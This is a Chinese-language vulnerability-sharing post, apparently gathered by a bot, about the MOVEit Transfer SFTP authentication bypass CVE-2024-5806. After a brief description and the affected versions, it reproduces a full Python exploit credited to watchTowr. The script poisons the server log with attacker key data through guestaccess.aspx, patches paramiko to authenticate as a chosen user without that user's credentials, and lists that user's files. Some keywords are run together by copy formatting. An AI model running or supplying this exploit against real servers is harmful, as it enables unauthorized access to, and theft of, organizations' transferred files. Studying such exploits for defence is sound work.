免责声明:本文内容为机器人搜集最新漏洞及POC分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!
Progress MOVEit Transfer 验证绕过漏洞(CVE-2024-5806)
Progress MOVEit Transfer(SFTP模块)中的不当身份验证漏洞可能导致在有限情况下的身份验证绕过。此问题影响MOVEit Transfer版本: 从2023.0.0到2023.0.11之前,从2023.1.0到2023.1.6之前,从2024.0.0到2024.0.2之前。
影响范围:Progess-Moveit Transfer,2023.0.0<=version<2023.0.11,2023.1.0<=version<2023.1.6,2024.0.0<=version<2024.0.2受影响。
https://github.com/watchtowrlabs/watchTowr-vs-progress-moveit\_CVE-2024-5806
import argparse
import os
import sys
import time
import paramiko
import requests
import urllib3
from paramiko.auth_handler importAuthHandler
from paramiko.dsskey importDSSKey
from paramiko.ecdsakey importECDSAKey
from paramiko.ed25519key importEd25519Key
from paramiko.pkey importPKey
from paramiko.rsakey importRSAKey
banner =""" __ ___ ___________
__ _ ______ _/ |__ ____ | |_\\__ ____\\____ _ ________
\\ \\/ \\/ \\__ \\ ___/ ___\\| | \\| | / _ \\ \\/ \\/ \\_ __ \\
\\ / / __ \\| | \\ \\___| Y | |( <_> \\ / | | \\/
\\/\\_/ (____ |__| \\___ |___|__|__ | \\__ / \\/\\_/ |__|
\\/ \\/ \\/
CVE-2024-5806.py
(*) Progress MoveIT Transfer SFTP Authentication Bypass (CVE-2024-5806) exploit by watchTowr
- Aliz Hammond, watchTowr (aliz@watchTowr.com)
- Sina Kheirkhah (@SinSinology), watchTowr (sina@watchTowr.com)
Note: We (watchTowr) aren't the original discoverers of the bug, we just reproduced it and wrote the exploit
in order to enable proactive protection of client attack surfaces.
We will update with proper credit when available.
CVEs: [CVE-2024-5806]
"""
# Sanity check that required files exist.
defsanity(ppk_file: str, pem_file: str):
ifnot os.path.exists(ppk_file):
raiseException("(!) Provided PPK file does not exist")
ifnot os.path.exists(pem_file):
raiseException("(!) Provided PEM file does not exist")
# Load PPK and PEM key material, returning the PPK as raw bytes and the PEM as a parsed key file.
defloadKeys(ppk_file: str, pem_file: str)->(str,PKey):
try:
withopen(ppk_file,"r")as f:
loaded_ppk = f.read()
except:
raiseException("(!) Exception when loading the provided PPK file")
# Since we don't know what type the key is, we need to try each type in turn. This is the best way to do it
# according to stackoverflow - see https://stackoverflow.com/a/76477074
loaded_pem =None
for pkey_class in(RSAKey,DSSKey,ECDSAKey,Ed25519Key):
try:
loaded_pem = pkey_class.from_private_key_file(pem_file)
exceptException:
pass
if loaded_pem isNone:
raiseException("(!) Unable to load the provided PEM file")
return loaded_ppk, loaded_pem
defpoisonLog(target_ip: str, target_web_port: str, ppkData: str):
try:
requests.post(
f"https://{target_ip}:{target_web_port}/guestaccess.aspx",
data={
"transaction":"signoff",
"Arg12":f"\r\n{ppkData}"
}, verify=False)
exceptException:
print("(!) Error while poisoning the log file")
raise
defauthenticate(target_ip: str, target_sftp_port: int, target_user: str, pem_file: PKey):
transport = paramiko.Transport((target_ip, target_sftp_port))
transport.connect(None, target_user, pkey=pem_file)
return paramiko.SFTPClient.from_transport(transport)
defmain(args):
urllib3.disable_warnings()
sanity(args.ppk_file, args.pem_file)
ppk_key, pem_key = loadKeys(args.ppk_file, args.pem_file)
# Patch Paramiko, ensuring that it returns our file path instead of key data
def_get_key_type_and_bits(_, key):
if key.public_blob:
return key.public_blob.key_type, args.poison_path
else:
return key.get_name(), args.poison_path
AuthHandler._get_key_type_and_bits = _get_key_type_and_bits
# Now we can insert our key data into the log file.
print("(*) Poisoning log files multiple times to be sure...")
for n inrange(0,10):
poisonLog(args.target_ip, args.target_web_port, ppk_key)
sys.stdout.write('.')
sys.stdout.flush()
sys.stdout.write('OK\n')
print("(*) Waiting 60 seconds for logs to be flushed to disk")
for n inrange(1,61):
sys.stdout.write(f'{n}.. ')
sys.stdout.flush()
time.sleep(1)
sys.stdout.write('OK\n')
retriesLeft =10
whileTrue:
print("(*) Attempting to authenticate..")
try:
print(f"(*) Trying to impersonate {args.target_user} using the server-side file path '{args.poison_path}'")
sftp = authenticate(args.target_ip, args.target_sftp_port, args.target_user, pem_key)
print("(+) Authentication succeeded.")
break
exceptException:
retriesLeft = retriesLeft -1
if retriesLeft ==0:
raise
print("(!) Something went wrong during the SFTP authentication process, will retry.")
time.sleep(2)
with sftp:
print(f"(+) Listing files in home directory of user {args.target_user}:\r\n")
for fileInfo in sftp.listdir_attr('.'):
print(fileInfo.longname)
print(banner)
parser = argparse.ArgumentParser(usage=r'python CVE-2024-5806.py --target-ip 192.168.1.1 --target-user admin --ppk id.ppk --pem id')
parser.add_argument('--target-user','-u', dest='target_user',help='username to impersonate', required=True)
parser.add_argument('--target-ip','-t', dest='target_ip',help='Target IP', required=True)
parser.add_argument('--target-web-port', dest='target_web_port',help='Target Web Port',type=int, default=443, required=False)
parser.add_argument('--target-sftp-port', dest='target_sftp_port',help='Target SFTP Port',type=int, default=22, required=False)
parser.add_argument('--poison-path','-x', dest='poison_path',help='poisoned file containing attacker controlled SSH public key', default="C:\\MOVEitTransfer\\Logs\\DMZ_WEB.log", required=False)
parser.add_argument('--ppk','-k', dest='ppk_file',help='Putty Private Key file (PPK)', required=True)
parser.add_argument('--pem','-p', dest='pem_file',help='Private Key file in PEM format',required=True)
parsedArgs = parser.parse_args()
main(parsedArgs)